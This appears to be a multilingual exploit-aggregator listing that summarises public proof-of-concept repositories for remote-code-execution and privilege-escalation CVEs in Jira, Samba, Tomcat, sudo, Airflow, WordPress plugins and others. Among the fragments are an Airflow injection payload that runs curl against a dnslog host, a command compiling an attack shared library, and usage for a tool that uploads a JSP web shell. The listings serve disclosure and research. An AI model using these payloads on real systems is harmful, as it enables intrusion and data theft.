cve-2022-1471-jira-lab

CVE-2022-1471 — Laboratorio de RCE de SnakeYAML contexto de Jira / Automation for Jira Laboratorio offline y autocontenido que demuestra el mecanismo detrás de CVE-2022-1471 deserialización insegura de SnakeYAML → RCE, CVSS 9.8, tal como se utiliza en el hallazgo de Jira / Jira Service Management...

CVE-2017-7494

Exploit SambaCry CVE-2017-7494 CVE-2017-7494/SambaCry permite a usuarios autenticados subir una biblioteca compartida a una carpeta escribible y realizar un ataque de ejecución utilizando las bibliotecas subidas. Explicación de la vulnerabilidad SambaCry es una vulnerabilidad de validación de rut...

CVE-2024-45519-Zimbra-Real-Fix

CVE-2024-45519-Zimbra-Real-Fix Arreglo real de Zimbra CVE-2024-45519: el parche oficial está incompleto CVE-2024-45519 - Arreglo real para Zimbra ⚠️ Advertencia CVE-2024-45519 es una vulnerabilidad crítica de ejecución remota de código RCE CVSS 9.8 en Zimbra Collaboration Suite. Muchos...

CVE-2022-22947

CVE-2022-22947 Introducción a CVE-2022-22947 La vulnerabilidad de ejecución remota de código en Spring Cloud Gateway CVE-2022-22947 se produce en el endpoint Actuator de las aplicaciones Spring Cloud Gateway, el cual es susceptible a ataques de inyección de código cuando está habilitado, expuesto...

CVE-2025-32463

漏洞概述 CVE-2025-32463 影响 Sudo 1.9.14 至 1.9.16 版本（已在 1.9.17p1 中修复）。 当以 --chroot 选项调用 Sudo 时，它可能从攻击者控制的路径加载配置，导致任意代码执行和权限提升至 root。 用法：python3 CVE-2025-32463.py 这将弹出 root shell（视频 POC 已演示） CVSS 评分：7.8（高危） 影响：本地权限提升至 root。 受影响系统：存在漏洞的 Sudo 的 Linux 发行版（例如 Ubuntu 24.04 LTS、RHEL 等）。 要求 Python 3.8+ 存在漏洞的...

CVE-2025-24813-Exploit

CVE-2025-24813-Exploit Exploit de ejecución remota de código RCE en Apache Tomcat - CVE-2025-24813 🚀 Exploit de RCE en Apache Tomcat - CVE-2025-24813 🔥 Herramienta de Exploit y Detección para Apache Tomcat RCE CVE-2025-24813 Este repositorio contiene un exploit PoC Prueba de Concepto para la...

CVE-2018-6574-go-get-RCE

CVE-2018-6574-Solution root@kitploit: gcc -shared -o attack.so -fPIC attack.c...

CVE-2024-25600-EXPLOIT

CVE-2024-25600 - Ejecución Remota de Código RCE en WordPress Bricks Builder 🌐 El tema Bricks para WordPress ha sido identificado como vulnerable a una falla de seguridad crítica conocida como CVE-2024-25600. Esta vulnerabilidad afecta todas las versiones hasta la 1.9.6 inclusive del plugin Bricks...

pwnacle-fusion

pwnacle-fusion Exploit automatizado para Oracle Reports, CVE-2012-3153 / CVE-2012-3152 Créditos a @misssudo por la divulgación Uso: ./pwnacle.rb targeturl payloadurl Este exploit utiliza ambos CVEs para subir una shell .jsp desde tu payloadurl, que luego es accesible desde /reports/images/shell.j...

CVE-2026-59827

CVE-2026-59827: Deserialización insegura en consultas nativas H2 de Metabase Severidad: Crítica CVSS 9.9 CVE: CVE-2026-59827 Aviso: GHSA-w95f-x9v9-wv36 Reportado por: Matheus Gutierre @Gutierre0x80 Publicado: 30 de junio de 2026 Resumen de la vulnerabilidad Un usuario autenticado con acceso a...

CVE-2022-40127

CVE-2022-40127 Apache Airflow .env docker-compose up airflow-init docker-compose up -d waiting some times open localhost:8080 POC 1 examplebashoperator root@kitploit: "fxoxx":"";curl uname.lxx2.535ld4zn.dnslog.pw;"" dnslog via POC 2 root@kitploit: curl -X 'POST' ...

CVE-2026-3288

CVE-2026-3288: Inyección de Configuración en ingress-nginx a través de la Anotación rewrite-target Palabras clave: CVE-2026-3288, vulnerabilidad ingress-nginx, seguridad en Kubernetes, inyección de configuración nginx, anotación rewrite-target, RCE, divulgación de Secretos, CWE-20, CAPEC-176,...

Exploit for CVE-2026-89274

CVE-2026-89274 — WP Recipe Maker Arbitrary Shortcode Execution...

CVE-2024-28397-exploit

js2py Sandbox Escape CVE-2024-28397 用于通过沙箱逃逸实现远程命令执行（RCE）的漏洞利用程序，针对 js2py = 0.74。 允许通过不安全的JavaScript评估在宿主机上执行任意代码。 漏洞 CVE : CVE-2024-28397 组件 : js2py 受影响版本 : = 0.74 影响 : Remote Code Execution 向量 : JavaScript sandbox escape 漏洞分析 : CVE-2024-28397-js2py-Sandbox-Escape 特性 沙箱逃逸 通过 subprocess.Popen 执行命...

Exploit for CVE-2026-92229

CVE-2026-92229 — Forminator Unauthenticated Arbitrary Shortcod...

js2py-Sandbox-Escape-CVE-2024-28397-RCE

CVE-2024-28397 Exploit de Escape de Sandbox de js2py Una colección de scripts de exploit dirigidos a la vulnerabilidad de escape de sandbox de js2py CVE-2024-28397 que permite la ejecución de código arbitrario a través de la introspección de objetos de Python. 🔍 Resumen de la Vulnerabilidad La...

WG-CVE-2026-1555-Linux

root@kitploit: ██████╗██╗ ██╗███████╗ ██████╗ ██████╗ ██████╗ ██████╗ ██╔════╝██║ ██║██╔════╝ ╚════██╗██╔═████╗╚════██╗██╔════╝ ██║ ██║ ██║█████╗ █████╔╝██║██╔██║ █████╔╝███████╗ ██║ ╚██╗ ██╔╝██╔══╝ ██╔═══╝ ████╔╝██║██╔═══╝ ██╔═══██╗ ╚██████╗ ╚████╔╝ ███████╗ ███████╗╚██████╔╝███████╗╚██████╔╝...

CVE-2025-24813-PoC

CVE-2025-24813 – Prueba de Concepto 📖 Descripción general Este repositorio contiene una Prueba de Concepto PoC para CVE-2025-24813 , una vulnerabilidad que afecta a nombre del software/producto afectado aquí – actualizar según el aviso. La PoC demuestra el problema de una manera segura y...

CVE-2022-24706

CVE-2022-24706 Colaboradores Escuela White Hat, 4.ª promoción, clase 39 금정현@junghyeonkum Vulnerabilidad de ejecución remota de comandos en Erlang Distribution de CouchDB CVE-2022-24706 Resumen Apache CouchDB es una base de datos NoSQL de tipo documento Document-Oriented de código abierto...

CVE-2025-4427-CVE-2025-4428

CVE-2025-4428 y CVE-2025-4427 CVE-2025-4428 es una vulnerabilidad de ejecución remota de código posterior a la autenticación en el validador DeviceFeatureUsageReportQueryRequestValidator de EPMM. Surge del manejo inseguro de la entrada proporcionada por el usuario dentro de los mensajes de error...